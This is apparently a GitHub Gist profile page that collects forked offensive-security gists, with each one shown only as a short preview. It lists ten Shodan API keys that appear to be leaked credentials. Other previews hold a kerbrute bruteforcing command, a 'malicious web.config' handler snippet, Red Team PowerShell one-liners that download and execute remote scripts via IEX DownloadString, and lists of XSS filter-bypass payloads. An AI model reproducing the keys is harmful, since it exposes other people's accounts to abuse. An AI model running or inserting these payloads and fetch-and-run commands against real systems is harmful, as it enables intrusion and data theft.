michpice / api.txt

Created May 17, 2023 11:44 — forked from aiexz/api.txt

Shodan API keys

	OefcMxcunkm72Po71vVtX8zUN57vQtAC
	PSKINdQe1GyxGgecYz2191H2JoS9qvgD
	pHHlgpFt8Ka3Stb5UlTxcaEwciOeF2QM
	61TvA2dNwxNxmWziZxKzR5aO9tFD00Nj
	xTbXXOSBr0R65OcClImSwzadExoXU4tc
	EJV3A4Mka2wPs7P8VBCO6xcpRe27iNJu
	mEuInz8UH1ixLGJq4oQhEiJORERVG5xc
	lkY0ng0XMo29zEhzyw3ibQfeEBxghwPF
	syeCnFndQ8TE4qAGvhm9nZLBZOBgoLKd
	7TeyFZ8oyLulHwYUOcSPzZ5w3cLYib61

michpice / kerberos_attacks_cheatsheet.md

Created January 5, 2023 03:05 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md

A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

michpice / downloader web.config

Created December 20, 2022 17:16 — forked from gazcbm/downloader web.config

Malicious web.config's

	<?xml version="1.0" encoding="UTF-8"?>
	<configuration>
	<system.webServer>
	<handlers accessPolicy="Read, Script, Write">
	<add name="web_config" path=".config" verb="" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
	</handlers>
	<security>
	<requestFiltering>
	<fileExtensions>
	<remove fileExtension=".config" />

michpice / Active Directory Attacks.md

Created August 30, 2022 10:14 — forked from ssstonebraker/Active Directory Attacks.md

Active Directory Attacks #oscp

Note: I did not author this, i found it somehwere.

Active Directory Attacks

Summary

Tools
Most common paths to AD compromise
- MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)
- Open Shares
[GPO - Pivoting with Local Admin

michpice / oscp_links.md

Created August 10, 2022 17:56 — forked from cokebottle/oscp_links.md

Useful OSCP Links

24x7x365 SUPPORT http://www.captiongenerator.com/320492/Offsec-Student-Admins

https://natesubra.com/go/oscp

OSCP Syllabus:

https://www.offensive-security.com/information-security-training/penetration-testing-training-kali-linux/

Windows Privilege Escalation:

http://www.fuzzysecurity.com/tutorials/16.html https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

michpice / RedTeam_CheatSheet.ps1

Created November 7, 2021 10:54 — forked from m8sec/RedTeam_CheatSheet.ps1

Red Team CheatSheet

	# Domain Recon
	## ShareFinder - Look for shares on network and check access under current user context & Log to file
	powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerView/powerview.ps1');Invoke-ShareFinder -CheckShareAccess\|Out-File -FilePath sharefinder.txt"

	## Import PowerView Module
	powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')"

	## Invoke-BloodHound for domain recon
	powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/SharpHound.ps1');Invoke-BloodHound"

michpice / href_bypass.html

Created June 20, 2020 02:27 — forked from hackerscrolls/href_bypass.html

XSS payloads for href

	<!--javascript -->
	ja&Tab;vascript:alert(1)
	ja&NewLine;vascript:alert(1)
	ja vascript:alert(1)
	javascript:alert()

	<!--::colon:: -->
	javascript&colon;alert()
	javascript:alert()
	javascript:alert(1)

michpice / all.txt

Created December 26, 2019 22:20 — forked from jhaddix/all.txt

all wordlists from every dns enumeration tool... ever. Please excuse the lewd entries =/

This file has been truncated, but you can view the full file.


	.
	..
	........
	@
	*
	.
	..*
	ðŸŽ

michpice / 666_lines_of_XSS_vectors.html

Created November 28, 2019 22:04 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html

666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L

	<script\x20type="text/javascript">javascript:alert(1);</script>
	<script\x3Etype="text/javascript">javascript:alert(1);</script>
	<script\x0Dtype="text/javascript">javascript:alert(1);</script>
	<script\x09type="text/javascript">javascript:alert(1);</script>
	<script\x0Ctype="text/javascript">javascript:alert(1);</script>
	<script\x2Ftype="text/javascript">javascript:alert(1);</script>
	<script\x0Atype="text/javascript">javascript:alert(1);</script>
	'`"><\x3Cscript>javascript:alert(1)</script>
	'`"><\x00script>javascript:alert(1)</script>
	<img src=1 href=1 onerror="javascript:alert(1)"></img>

IZZy michpice

Kerberos cheatsheet

Bruteforcing

Active Directory Attacks

Summary

24x7x365 SUPPORT http://www.captiongenerator.com/320492/Offsec-Student-Admins

https://natesubra.com/go/oscp

OSCP Syllabus:

Windows Privilege Escalation: